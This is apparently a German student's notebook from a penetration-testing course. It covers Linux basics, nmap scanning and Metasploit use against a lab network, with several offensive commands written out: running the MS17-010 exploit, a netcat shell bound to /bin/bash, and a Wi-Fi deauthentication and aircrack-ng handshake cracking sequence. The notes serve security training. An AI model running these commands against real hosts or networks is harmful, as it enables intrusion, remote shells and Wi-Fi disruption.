# Heise Hacking Kurs LinkedIn Learning
Testumgebung: **Windows-Rechner:** IP-Adresse: 10.1.1.129 MAC-Adresse: BA-F0-EC-81-03-92 **Kali-Linux:** IP-Adresse: 10.1.1.128 MAC-Adresse: FE-3A-E0-10-0E-35
[Serverschutz Bausteine von BSI](https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Standards-und-Zertifizierung/IT-Grundschutz/IT-Grundschutz-Kompendium/IT-Grundschutz-Bausteine/Bausteine_Download_Edition_node.html)
### Schichtenmodel TCP/IP [](https://books.hhml.selfhost.co/uploads/images/gallery/2023-01/image.png) #### Infos ##### Generell 127.0.0.1 = localhost : Jedes Paket geht wieder zurück auf den sendenden Rechner ##### Wireshark ARP = Address Resolution Protocol dient dazu MAC adressen auszulesen #### Befehle:**Befehl** | **Beispiel** | |
sipcalc | sipcalc 192.168.178.0/24 | Stellt die Subnetzmaske mit den IP-Adressen dar |
ls -la | grep | ls -la | grep go | Gibt dann nur Inhalte wieder, die go enthalten |
find | find . | Gibt alles aus |
find . | grep | find . | grep go | Findet alles in Laufwerk und gibt aber nur inhalte mit go zurück |
locate | Suche über die gesamte Festplatte | |
pwd | pwd | Print Working Directory - Aktuelles laufwerk anzeigen |
whoami | whoami | Aktueller Benutzer |
cd | cd | Springt direkt ins homeverzeichnis |
ps aux | Zeigt Prozesse an | |
ps aux | grep apache2 | Zeigt alles mit apache2 an | |
cat | Zeigt dateiinhalt an | |
cat | cat > hackingskills cat >> hackingskills | Erstellt eine Datei direkt Benden mit Ctrl + d dadurch wird die Datei um weitere Zeilen erweitert |
grep | sudo cat /etc/config-datei | grep output | Sucht nach dem String Output |
nl | zeigt den inhalt einer datei mit den Zeilennummern an. Kann auch mit grep verbunden werden | |
[sed](#bkmrk-sed%C2%A0) | ||
[netstat](#bkmrk-netstat) | ||
[ip](#bkmrk-%C2%A0-7) | ||
dig | dig linkedin.com ns | Zeigt die Nameserver an |
dig li | ||
passwd | Passwort ändern |
aircrack-ng | aircrack-ng --help | more | Zeigt die HIlfe an mit jeder seite Leertaste für nächste Seite q für Beenden |
man aircrack-ng | Zeigt das Manual an |
**Bit** | **Berechtigung** | |
r | Read | |
w | Write | |
x | Execute (Ausführen) | |
**Berechtigung ändern** | ||
chmod +x test.txt | Alle dürfen ausführen | |
chmod -x test.txt | Berechtiung nehmen | |
chmod u+x test.txt | Nur der User darf die Datei ausführen | |
chmod g+x test.txt | Gruppe darf ausführen |
**Parameter** | **Kommentar** |
nmap -sn 10.1.1.0/24 | Pingt einen ip-Bereich und gibt die Teilnehmer wieder. |
nmap 10.1.1.136 -v | Vorher schon ergebnisse Anzeigen |
nmap 10.1.1.136 -oN /pfad/zur/datei | speichert die ergebnisse in einer Datei ab |
nmap 10.1.1.136 -p40,21 | können bestimmte Ports gescannt werden |
nmap 10.1.1.136 -sU | Scannt auch udp |
nmap 10.1.1.136 -A | Führt scripte aus |
nmap -sn 10.1.1.0/24 -oG - | grep Up | awk '{print $2}' > targets.txt | Erstell mit hilfe von nmap eine Liste von allen Geräten die erreichbar sind. Mit -oG wird die Ausgabe in ein grepable Format gebracht. |
**Offene Ports ermitteln** | |
nmap 10.1.1.10 | Portscan der 1000 meist verwendeten ports |
nmap -sV 10.1.1.10 | - Portscan mit den dahinter verwendeten Software |
nmap -sTU --top-ports 100 10.1.1.0/24 | Portscan über die 100 meistverwendesten Ports mit TCP und UDP |
nmap -oG grepable.txt 10.1.1.0/24 | Ausgabe des Scans in eine grepable textdatei |
grep "Host: 10.1.1.3" grepable.txt | Durchsucht die Datei grepable.txt |
nmap -oA bigausgabe 10.1.1.0/24 | Ausgabe in den 3 gängisten Formaten |
**Ausgabe schön formatieren** | |
nmap -oX ausgabe-in.xml 10.1.1.0/24 | erstellt eine XML Datei |
xsltproc augabe-in.xml -o ausgabe-in.html | Wandelt die xml in eine Html um |
nmap -oA bigausgabe 10.1.1.0/24 && xsltproc bigausgabe.xml -o bigausgabe.html && firefox bigausgabe.html | Erstellt die Ausgaben, wandelt xml in html um und öffnet die datei mit dem Firefox |
nmap -p- -A 10.1.1.3 | Detailscan über alle ports einer Maschine |
**Schalter:** -O = Gibt das Betriebsystem mit -A = Gibt OS wieder und macht einen Script scan |
**Bevor man mit msf los legt:**
**Postgressql dienst starten** **Automatisch mit dem System starten** `sudo systemctl enable postgresql` Dienst starten `sudo systemctl start postgresql` **Datenbank starten** `sudo msfdb init` --- ##### Metasploit verwenden [Module](https://github.com/rapid7/metasploit-framework/tree/master/modules) `search proftp` `use exploit/windwos/ftp/proftp_banner` `oder` `use 4` danach: `options` `set Rhosts` `show payloads` `show targets` #### Weitere Beispiele ##### Workspace anlegen `workspace` Zeigt den Workspace an `workspace -a demo` neuen Workspace anlegen `workspace -d demo` Workspace löschen ##### Befehle `hosts` Zeigt hosts an, die schon verwendet wurden `db_nmap 10.1.1.0/24 ` nmap direkt in Metasploit verwenden `db_import bigausgabe.xml` Importieren von bereits mit Nmap gefundenen informationen `services` Dabei werden alle bekannten Ports im Netzwerk angezeigt, die vorher gescannt wurden `setg rhosts` Setzt rhosts global. Dann muss man nicht jedes mal neu eingeben ##### Auxiliaries (Helfer) `use auxiliary/scanner/portscan/tcp` Damit wird das Modul ausgewählt `show option` Optionen anzeigen `set rhosts 10.1.1.146` Damit wird eine Option rhosts gesetzt `run` Starte den Scan `back` Verlassen der Auxiliary ##### Exploit suchen `search ms17-010` Damit kann man im MSF direkt nach Exploits suchen. nach was man suchen soll, dass kann einem ein Scan mit Nessus oder openVAS liefern ##### Exploit verwenden `use exploit/windows/smb/ms17` mit der Tabtaste kann man die verschiedenen auswählen `show options` `set RHOSTS 10.1.1.3` um den Host auszuwäheln `run` führt den Angriff aus #### DNSENUM ### Netcat **Opfer** `nc -lvp 4444` - Damit kann man generell auf eine Verbindung lauschen `nc -lvp 4444 -e /bin/bash` - Würde bei Verbindung eine Shell starten **Angreifer** `nc 10.1.1.138 4444` - Stellt eine Verbindung zum lauschenden Opfer auf dem Port 4444 her Pentest MOnkey reverse shell #### Nessus ### Tools #### SEDSuchen und ersetzen
Mit suchen und ersetzen kann man in einer Datei Wörter ersetzen. ```bash sudo sed s/mysql/MySQL/g /etc/irgendwas.conf > igendwasneu.conf # s = substizution: mysql wird durch MySQL ersetzt in der ganzen Datei (/g) ``` #### Netstat `netstat -r` Zeigt die Netzwerkkarte das Standardgateway an. #### IP ```bash ip a sh # sh = Show # Ip Adresse ändern ifconfig eth0 10.1.1.109 netmask 255.255.255.0 ``` #### Passwd ```bash passwd # zum ändern des Passwortes ``` ### Vorgehensweise Netzwerkuntersuchung Wenn ich ein Netzwerk untersuche ```bash ip a sh # In welchem Netz befinde ich mich route -n # Was ist das Standardgateway cat /etc/resolf.conf # Damit könnte es sein, dass der DNS-Server angezeigt wird. Außerdem wird die Domain angezeig ping fritz.box # wenn es eine Domaine gibt, dann wird der Domaincontroller eine Antwort geben dmitry # kann ports eines Rechner scannen ``` Wenn man einen Penetration-Test macht, wird immer alles dokumentiert. #### Arping Mit Arping kann man auf Layer2 pingen und erhält die MacAdresse zurück `arping fritz.box` #### NetdiscoverSehr gutes Tool zum anzeigen der aktiven Geräte im Netzwerk
``` netdiscover -r 10.1.1.0/24 ``` #### Fping ``` fping -a -c 2 -g 10.1.1.1 10.1.1.254 # pingt eine gruppe an ``` #### Script zum pingen der Geräte im Netzwerk ```bash #!/bin/bash # For Schleife die alle Adressen druchpingt und die ip-adresse zurück gibt # cut teilt den String am " " Leerzeichen -f gibt das 4. Feld zurück for adress in $(seq 1 254); do ping -c 1 10.1.1.$adress | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 & done ``` ### WLAN Untersuchen #### Wlan überprüfen `iwconfig` #### Wlan in Monitoring versetzen `airmon-ng start wlan0` Verstetzt den Adapter in den Monitoring Modus `airodump-ng wlan0mon` Zeigt funknetzwerke an `airodump-ng wlan0mon -c 1 --bssid 'macadresse von wlan' -w wpastream` Aufzeichnen was wir machen **-c ist channel** --bssid ist die macadresse des wlan ohne Anführungsstriche. Mit -w legen wir den Speicherort der aufzeichnung fest. gleichzeitig: `aireplay-ng wlan0mon --deauth 3 -a 'bssid'` Da muss der handshake gemacht werden in der datei wpastram ist dann das passwort gespeichert `aircrack-ng -w /usr/share/wordlists/fasttrack.txt wpastream-01.cap` bruteforce auf den hash ### Schwachstellenanlayse #### Legion #### nikto zur untersuchung von Server #### openVAS #### Nessus